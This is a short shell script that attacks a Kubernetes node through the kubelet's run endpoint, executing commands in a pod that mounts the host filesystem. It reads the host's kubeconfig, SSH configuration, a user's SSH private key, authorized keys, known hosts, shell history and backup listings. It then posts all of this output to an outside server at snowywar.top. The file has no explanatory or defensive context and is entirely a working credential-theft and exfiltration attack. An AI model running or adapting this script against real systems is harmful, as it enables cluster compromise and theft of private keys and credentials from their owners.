#!/bin/sh
base="https://172.17.0.1:10250/run/default/rivulet-hostpath/hostsh"
run(){
  c="$1"
  echo "===CMD:$c==="
  curl -k -m 25 -sS -XPOST "$base" --data-urlencode "cmd=$c"
  echo
}
{
  date
  run "cat /host/root/.kube/config"
  run "find /host/root/.kube -maxdepth 2 -type f"
  run "cat /host/etc/ssh/sshd_config"
  run "cat /host/home/web/.bash_history"
  run "cat /host/home/web/.ssh/id_rsa"
  run "cat /host/home/web/.ssh/authorized_keys"
  run "cat /host/home/web/.ssh/known_hosts"
  run "ls -la /host/home/web/.ssh"
  run "ls -la /host/var/backups"
  run "find /host/var/backups -maxdepth 2 -type f"
} 2>&1 | curl -m 35 -X POST --data-binary @- http://snowywar.top/kube_auth
